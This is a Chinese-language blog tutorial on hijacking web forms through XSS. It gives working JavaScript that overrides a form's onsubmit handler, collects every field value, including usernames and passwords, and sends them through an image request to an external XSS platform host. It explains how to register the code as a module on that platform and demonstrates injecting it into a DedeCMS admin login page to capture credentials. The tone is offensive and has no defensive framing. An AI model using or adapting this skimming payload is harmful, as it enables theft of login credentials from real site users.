文章目录
  1. 1. 思路
  2. 2. 模块配置
  3. 3. 演示
  4. 4. 缺点
今天看到了表单劫持,于是想在XSS平台上创建一个表单劫持的项目,使用的平台是http://xss.hacktask.net/ 

在网上找了一下表单劫持方面的资料,思路大多是配合xss.js公共模块,通过修改form表单里action的地址为自己提供的地址,比如说http://www.xxxx.com/Form.php ,然后在From.php中,解析$_POST的内容达到劫持表单的功能.有兴趣的朋友自己搜索下,这里主要介绍使用Javascript进行表单劫持,这种方法的缺点会在后面给出.

思路

大家都知道,在提交form表单时会调用onsubmit方法,既然调用了onsubmit,说明表单中该填的项肯定都已经填好了,这时,我们通过修改onsubmit方法,便可以获取表单中的信息,代码如下:

1
2
3
4
5
6
7
8
9
10
var str='';
for(var i=0;i<f.elements.length;i++) //逐个获取表单的名称以及值
{
str+=f.elements[i].name+':'+f.elements[i].value+'||'; //'||'为分隔符
}
str=str.substr(0,str.length-2);
var img=new Image(); //使用Image提交信息
img.src='http://xss.hacktask.net/index.php?do=api&id={projectId}&data='+escape(str)+'&url='+escape(location.href); //{projectId}为XSS平台为你分配的id
func(event); //func保存之前的onsubmit方法,由于这里面可能需要执行类似编码等操作,所以这里不能直接跳过
return true;

模块配置

  • 首先在XSS平台中创建一个新的模块,模块名称和描述自己填吧,需要配置的是参数,配置参数,以及代码


在底下的代码框写入我们的代码,就OK了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var f=document.forms['{set.formname}'];
if(f==undefined)
{
f=document.getElementById('{set.formid}');
}
var func=f.onsubmit;
f.onsubmit=function(event)
{

var str='';
for(var i=0;i<f.elements.length;i++)
{
str+=f.elements[i].name+':'+f.elements[i].value+'||';
}
str=str.substr(0,str.length-2);
var img=new Image();
img.src='http://xss.hacktask.net/index.php?do=api&id={projectId}&data='+escape(str)+'&url='+escape(location.href);
func(event);
return true;
}

点击配置,完成

演示

这里以织梦为例,在后台那查看代码



然后在XSS中新建一个项目,项目名称,描述,惯例随便写,选中我们自建的模块,formname写成form1,保存.
复制XSS代码(如果不知道怎么做的话自行百度XSS平台使用),我这里是

1
<script src=http://xss.hacktask.net/9D1Q9Z?1430276699></script>

织梦平台上模拟XSS插入



这里操作就完成了,返回登录界面,随便登录一下

熟悉的界面



在XSS平台上看一下



截获到了吧,看下内容



缺点

看到这里,缺点大家应该也知道了,在输入的时候不管你的用户名密码是否正确,都会上传到XSS平台,也就是说,你截获到的账号密码不一定是正确的

祝大家好运^-^
文章目录
  1. 1. 思路
  2. 2. 模块配置
  3. 3. 演示
  4. 4. 缺点